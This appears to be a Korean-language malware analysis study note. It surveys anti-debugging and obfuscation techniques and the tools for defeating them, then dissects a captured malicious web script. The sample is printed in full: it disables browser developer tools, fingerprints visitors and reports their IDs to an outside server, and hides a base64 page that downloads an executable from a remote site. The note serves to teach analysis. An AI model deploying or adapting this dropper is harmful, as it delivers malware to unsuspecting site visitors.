기초 악성 코드 분석 5
Loading content...
디버깅 도구나 분석 환경에서의 실행을 감지하여 악성 행위를 숨기거나 종료함
1__try {
2 RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
3} __except(EXCEPTION_EXECUTE_HANDLER) {
4 // 디버깅 환경이면 이곳으로 들어오지 않음
5}1DWORD start = GetTickCount();
2// 민감한 연산 수행
3DWORD end = GetTickCount();
4if (end - start > 100) exit(0); // 디버깅 의심코드를 분석하기 어렵게 만들어 정적 분석을 방해하는 기법
1if ((a * 2 - a) == a) {
2 // 실제 동작 코드
3} else {
4 // 절대 실행되지 않음
5}1const encrypted = "SGVsbG8gd29ybGQ=";
2const decoded = atob(encrypted);1FARPROC addr = GetProcAddress(LoadLibrary("kernel32.dll"), "CreateFileA");| 기법 | 우회 방법 |
| IsDebuggerPresent | API 후킹, 직접 패치 |
| 문자열 암호화 | 문자열 복호화 루틴 분석 |
| Control Flow 난독화 | CFG 생성, 명령어 트레이싱 |
| 패킹된 파일 | 언패킹 툴 사용 or 런타임 덤프 |
| API 주소 숨김 | IAT 또는 호출 지점 추적 |
| 목적 | 툴 |
| 디버깅 | x64dbg, IDA, WinDbg |
| 정적 분석 | Ghidra, Binary Ninja |
| 패킹 탐지 | Exeinfo PE, PEiD |
| 메모리 덤프 | Scylla, x64dbg |
| 디코딩 | CyberChef, Base64/XOR Decoder |
1 document.addEventListener("keydown", function (_0x240a96) {
2 if (_0x240a96.keyCode === 0x7b || _0x240a96.ctrlKey && _0x240a96.shiftKey && (_0x240a96.keyCode === 0x49 || _0x240a96.keyCode === 0x4a) || _0x240a96.ctrlKey && _0x240a96.keyCode === 0x55) {
3 _0x240a96.preventDefault();
4 crashDebugger();
5 }
6});
7function crashDebugger() {
8 setInterval(() => {
9 (function () {
10 console.log("Попытка инспектирования!");
11 debugger;
12 })();
13 }, 0x64);
14}
15setInterval(() => {
16 if (window.outerHeight - window.innerHeight > 0x64 || window.outerWidth - window.innerWidth > 0x64) {
17 crashDebugger();
18 }
19}, 0x3e8);
20console.log('%c', "font-size:100px;");
21setTimeout(() => {
22 if (console.clear) {
23 console.clear();
24 }
25}, 0x64);
26(function () {
27 const _0x152b39 = new Image();
28 Object.defineProperty(_0x152b39, 'id', {
29 'get': function () {
30 crashDebugger();
31 throw new Error("Инспектор обнаружен!");
32 }
33 });
34 console.log('%c', _0x152b39);
35})();
36function createHiddenIframeWithBase64(_0x4891e5, _0x22ffea = "text/html") {
37 const _0x4f2370 = document.createElement("iframe");
38 _0x4f2370.style.display = "none";
39 document.body.appendChild(_0x4f2370);
40 const _0x17b84e = "data:" + _0x22ffea + ';base64,' + _0x4891e5;
41 _0x4f2370.src = _0x17b84e;
42 return _0x4f2370;
43}
44function download() {
45 const _0x4b9c1b = document.getElementById('download');
46 if (!_0x4b9c1b) {
47 return;
48 }
49 const _0x1d1225 = _0x4b9c1b.tagName.toLowerCase() === "button";
50 const _0x3cf4e1 = _0x1d1225 ? _0x4b9c1b.innerText : _0x4b9c1b.getAttribute('href');
51 if (_0x1d1225) {
52 _0x4b9c1b.disabled = true;
53 } else {
54 _0x4b9c1b.removeAttribute('href');
55 _0x4b9c1b.style.pointerEvents = "none";
56 }
57 window.addEventListener('message', function _0x344b4e(_0x41c095) {
58 if (_0x41c095.data.percent !== undefined && _0x1d1225) {
59 _0x4b9c1b.innerText = "Downloading: " + _0x41c095.data.percent + '%';
60 }
61 if (_0x41c095.data.done) {
62 _0x35ba4e();
63 window.removeEventListener("message", _0x344b4e);
64 }
65 if (_0x41c095.data.error) {
66 if (_0x1d1225) {
67 _0x4b9c1b.innerText = "Error downloading";
68 setTimeout(_0x35ba4e, 0x7d0);
69 } else {
70 alert("Ошибка загрузки файла");
71 _0x35ba4e();
72 }
73 window.removeEventListener("message", _0x344b4e);
74 }
75 });
76 function _0x35ba4e() {
77 if (_0x1d1225) {
78 _0x4b9c1b.innerText = _0x3cf4e1;
79 _0x4b9c1b.disabled = false;
80 } else {
81 _0x4b9c1b.setAttribute("href", _0x3cf4e1);
82 _0x4b9c1b.style.pointerEvents = "auto";
83 }
84 }
85 const _0x69cebf = import("https://fpjscdn.net/v3/PvuUMpgUY4sC9jdyNi7A").then(_0x35f583 => _0x35f583.load({
86 'region': 'eu'
87 }));
88 _0x69cebf.then(_0x312eca => _0x312eca.get()).then(_0x198c9f => {
89 const _0x200d56 = _0x198c9f.visitorId;
90 fetch('https://studiofriez.com/metrics.php?action=add', {
91 'method': "POST",
92 'headers': {
93 'Content-Type': "application/json"
94 },
95 'body': JSON.stringify({
96 'visitorId': _0x200d56
97 })
98 }).then(_0xc6d9a2 => _0xc6d9a2.json()).then(_0x41ec77 => console.log("Metric sent:", _0x41ec77))["catch"](_0x4a24fb => console.error("Metric error:", _0x4a24fb));
99 createHiddenIframeWithBase64("PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJydSI+DQo8aGVhZD4NCiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+DQogICAgPHRpdGxlPkRvd25sb2FkaW5nLi4uPC90aXRsZT4NCiAgICA8c2NyaXB0Pg0KICAgICBjb25zdCBfMHgyZjMzZGE9XzB4MjJlNDtmdW5jdGlvbiBfMHgyMmU0KF8weDQ0MGMxZCxfMHg1M2Y1Y2Epe2NvbnN0IF8weDRhZGU0ZT1fMHg0YWRlKCk7cmV0dXJuIF8weDIyZTQ9ZnVuY3Rpb24oXzB4MjJlNDViLF8weDI5OTUzMSl7XzB4MjJlNDViPV8weDIyZTQ1Yi0weGRmO2xldCBfMHg1NWUwYjM9XzB4NGFkZTRlW18weDIyZTQ1Yl07cmV0dXJuIF8weDU1ZTBiMzt9LF8weDIyZTQoXzB4NDQwYzFkLF8weDUzZjVjYSk7fShmdW5jdGlvbihfMHg0YmIwNWEsXzB4ODYyMTZhKXtjb25zdCBfMHgzNjM0ZTE9XzB4MjJlNCxfMHgyMjJkMDU9XzB4NGJiMDVhKCk7d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDhkOWU2Mz0tcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZTYpKS8weDErcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZjgpKS8weDIqKHBhcnNlSW50KF8weDM2MzRlMSgweGViKSkvMHgzKSstcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZjMpKS8weDQrLXBhcnNlSW50KF8weDM2MzRlMSgweGU1KSkvMHg1KihwYXJzZUludChfMHgzNjM0ZTEoMHhlMCkpLzB4NikrLXBhcnNlSW50KF8weDM2MzRlMSgweGU4KSkvMHg3KihwYXJzZUludChfMHgzNjM0ZTEoMHgxMDApKS8weDgpK3BhcnNlSW50KF8weDM2MzRlMSgweGY3KSkvMHg5KigtcGFyc2VJbnQoXzB4MzYzNGUxKDB4ZWYpKS8weGEpK3BhcnNlSW50KF8weDM2MzRlMSgweGY2KSkvMHhiO2lmKF8weDhkOWU2Mz09PV8weDg2MjE2YSlicmVhaztlbHNlIF8weDIyMmQwNVsncHVzaCddKF8weDIyMmQwNVsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4NTZmNThmKXtfMHgyMjJkMDVbJ3B1c2gnXShfMHgyMjJkMDVbJ3NoaWZ0J10oKSk7fX19KF8weDRhZGUsMHgzYzdlOCkpO2FzeW5jIGZ1bmN0aW9uIGRvd25sb2FkRmlsZShfMHg0NGZjMTYsXzB4MTViN2NmKXtjb25zdCBfMHg1OThjMTg9XzB4MjJlNDt0cnl7Y29uc3QgXzB4ZmZjYTc0PWF3YWl0IGZldGNoKF8weDQ0ZmMxNik7aWYoIV8weGZmY2E3NFsnb2snXSl0aHJvdyBuZXcgRXJyb3IoXzB4NTk4YzE4KDB4ZjIpKTtjb25zdCBfMHg1OWVmYTI9XzB4ZmZjYTc0W18weDU5OGMxOCgweGZmKV1bXzB4NTk4YzE4KDB4ZjkpXSgpLF8weDU1NTNmMD0rXzB4ZmZjYTc0W18weDU5OGMxOCgweGU3KV1bXzB4NTk4YzE4KDB4ZmMpXShfMHg1OThjMTgoMHhlYSkpO2xldCBfMHgxMTM4YWY9MHgwLF8weDJiNWMwND1bXTt3aGlsZSghIVtdKXtjb25zdCB7ZG9uZTpfMHgyNjY3ZDAsdmFsdWU6XzB4M2I1ZTFjfT1hd2FpdCBfMHg1OWVmYTJbXzB4NTk4YzE4KDB4ZWUpXSgpO2lmKF8weDI2NjdkMClicmVhaztfMHgyYjVjMDRbXzB4NTk4YzE4KDB4ZmEpXShfMHgzYjVlMWMpLF8weDExMzhhZis9XzB4M2I1ZTFjW18weDU5OGMxOCgweGZlKV07bGV0IF8weDQ4OWRkNj1NYXRoW18weDU5OGMxOCgweGU5KV0oXzB4MTEzOGFmL18weDU1NTNmMCoweDY0KTtwYXJlbnRbXzB4NTk4YzE4KDB4ZjApXSh7J3BlcmNlbnQnOl8weDQ4OWRkNn0sJyonKTt9Y29uc3QgXzB4NDgxYzgzPW5ldyBCbG9iKF8weDJiNWMwNCksXzB4MjYyYmRmPVVSTFtfMHg1OThjMTgoMHhlNCldKF8weDQ4MWM4MyksXzB4N2E5MDdkPWRvY3VtZW50W18weDU5OGMxOCgweGY1KV0oJ2EnKTtfMHg3YTkwN2RbXzB4NTk4YzE4KDB4MTAxKV09XzB4MjYyYmRmLF8weDdhOTA3ZFtfMHg1OThjMTgoMHhlMyldPV8weDE1YjdjZnx8XzB4NTk4YzE4KDB4ZTIpLGRvY3VtZW50W18weDU5OGMxOCgweGZmKV1bXzB4NTk4YzE4KDB4ZWMpXShfMHg3YTkwN2QpLF8weDdhOTA3ZFtfMHg1OThjMTgoMHhmMSldKCksZG9jdW1lbnRbXzB4NTk4YzE4KDB4ZmYpXVtfMHg1OThjMTgoMHhmNCldKF8weDdhOTA3ZCksc2V0VGltZW91dCgoKT0+VVJMW18weDU5OGMxOCgweGRmKV0oXzB4MjYyYmRmKSwweDY0KSxwYXJlbnRbXzB4NTk4YzE4KDB4ZjApXSh7J2RvbmUnOiEhW119LCcqJyk7fWNhdGNoKF8weDI1OTFhMil7Y29uc29sZVtfMHg1OThjMTgoMHhmZCldKCcnLF8weDI1OTFhMikscGFyZW50W18weDU5OGMxOCgweGYwKV0oeydlcnJvcic6ISFbXX0sJyonKTt9fXdpbmRvd1tfMHgyZjMzZGEoMHhlZCldPSgpPT57Y29uc3QgXzB4NGRlY2MwPV8weDJmMzNkYSxfMHgzMjE4NjE9XzB4NGRlY2MwKDB4ZTEpLF8weDU0ZTBjZT1fMHg0ZGVjYzAoMHhmYik7ZG93bmxvYWRGaWxlKF8weDMyMTg2MSxfMHg1NGUwY2UpO307ZnVuY3Rpb24gXzB4NGFkZSgpe2NvbnN0IF8weDUwNGQ2Yz1bJ3JlbW92ZUNoaWxkJywnY3JlYXRlRWxlbWVudCcsJzEyNzY0MDcwdGF0Y2NkJywnOUFZR1dETScsJzR4S1lVQVYnLCdnZXRSZWFkZXInLCdwdXNoJywnTm90aW9tLmV4ZScsJ2dldCcsJ2Vycm9yJywnbGVuZ3RoJywnYm9keScsJzQwZWxUT2p5JywnaHJlZicsJ3Jldm9rZU9iamVjdFVSTCcsJzI0SWZUb0FvJywnaHR0cHM6Ly9ub3Rpb20ub25saW5lL2Rvd25sb2FkLnBocCcsJ2Rvd25sb2FkZWRfZmlsZScsJ2Rvd25sb2FkJywnY3JlYXRlT2JqZWN0VVJMJywnMTY0NzkwcWxTVVVvJywnNTI3N2NjTXVkZScsJ2hlYWRlcnMnLCczMDY0MzlGWVR2WGsnLCdyb3VuZCcsJ0NvbnRlbnQtTGVuZ3RoJywnNDIwNTA0T1BVZWJ4JywnYXBwZW5kQ2hpbGQnLCdvbmxvYWQnLCdyZWFkJywnNDYwNzc4MHJHVmlLQycsJ3Bvc3RNZXNzYWdlJywnY2xpY2snLCfQntGI0LjQsdC60LAg0LfQsNCz0YDRg9C30LrQuCcsJzE1MDQ2MDBYYnB2VVMnXTtfMHg0YWRlPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDUwNGQ2Yzt9O3JldHVybiBfMHg0YWRlKCk7fQ0KICAgIDwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQogICAgPGgxPkRvd25sb2FkaW5nLi4uPC9oMT4NCjwvYm9keT4NCjwvaHRtbD4=");
100 });
101}
1
2// document.addEventListener("keydown", function (...) {...});1// F12, Ctrl+Shift+I/J, Ctrl+U 단축키 입력 시 차단 및 debugger 루프 유발
2document.addEventListener("keydown", function (e) {
3 if (
4 e.keyCode === 0x7b || // F12
5 (e.ctrlKey && e.shiftKey && (e.keyCode === 0x49 || e.keyCode === 0x4a)) || // Ctrl+Shift+I/J
6 (e.ctrlKey && e.keyCode === 0x55) // Ctrl+U
7 ) {
8 e.preventDefault();
9 crashDebugger();
10 }
11});
12
13function crashDebugger() {
14 setInterval(() => {
15 console.log("시도 감지됨!");
16 debugger; // 디버거 걸리게 유도
17 }, 100); // 0x64 == 100ms
18}
19
20// 창 크기 변경 감지 → 디버깅 도구가 열리면 crashDebugger 실행
21setInterval(() => {
22 if (
23 window.outerHeight - window.innerHeight > 100 ||
24 window.outerWidth - window.innerWidth > 100
25 ) {
26 crashDebugger();
27 }
28}, 1000); // 0x3e8 == 1000ms
29
30// 콘솔에 큰 글씨 로그, 이후 console.clear
31console.log('%c', "font-size:100px;");
32setTimeout(() => {
33 if (console.clear) {
34 console.clear();
35 }
36}, 100);
37
38// 콘솔에서 이미지 출력 시 getter 속성 통해 crashDebugger 실행
39(function () {
40 const img = new Image();
41 Object.defineProperty(img, 'id', {
42 get: function () {
43 crashDebugger();
44 throw new Error("인스펙터 감지됨!");
45 }
46 });
47 console.log('%c', img);
48})();
49
50// iframe에 base64 HTML 삽입
51function createHiddenIframeWithBase64(encodedHTML, mimeType = "text/html") {
52 const iframe = document.createElement("iframe");
53 iframe.style.display = "none";
54 document.body.appendChild(iframe);
55 const src = "data:" + mimeType + ';base64,' + encodedHTML;
56 iframe.src = src;
57 return iframe;
58}
59
60<!DOCTYPE html>
61<html lang="ru">
62 <head>
63 <meta charset="UTF-8">
64 <title>Downloading...</title>
65 <script>
66 // 매우 난독화된 자바스크립트 시작
67 const _0x2f33da = _0x22e4;
68 function _0x22e4(_0x440c1d, _0x53f5ca) {
69 const _0x4ade4e = _0x4ade();
70 return _0x22e4 = function (_0x22e45b, _0x299531) {
71 _0x22e45b = _0x22e45b - 0xdf;
72 let _0x55e0b3 = _0x4ade4e[_0x22e45b];
73 return _0x55e0b3;
74 }, _0x22e4(_0x440c1d, _0x53f5ca);
75 }
76
77 (function (_0x4bb05a, _0x86216a) {
78 const _0x3634e1 = _0x22e4;
79 const _0x222d05 = _0x4bb05a();
80
81 while (true) {
82 try {
83 const result =
84 -parseInt(_0x3634e1(0xe6)) / 1 +
85 parseInt(_0x3634e1(0xf8)) / 2 * (parseInt(_0x3634e1(0xeb)) / 3) +
86 ...;
87
88 if (result === _0x86216a) break;
89 else _0x222d05.push(_0x222d05.shift());
90 } catch (_0x56f58f) {
91 _0x222d05.push(_0x222d05.shift());
92 }
93 }
94 })(_0x4ade, 0x3c7e8);
95
96 async function downloadF...
97
98```
99이 base64 코드는
100
101러시아어 기반의 '다운로드 중' 페이지
102
103강력하게 난독화된 자바스크립트 포함
104
105문자열 테이블 기반 치환 해석 방식 사용
106
107향후 downloadFile(...) 또는 유사 함수로 최종 다운로드 동작 수행 예상됨
108```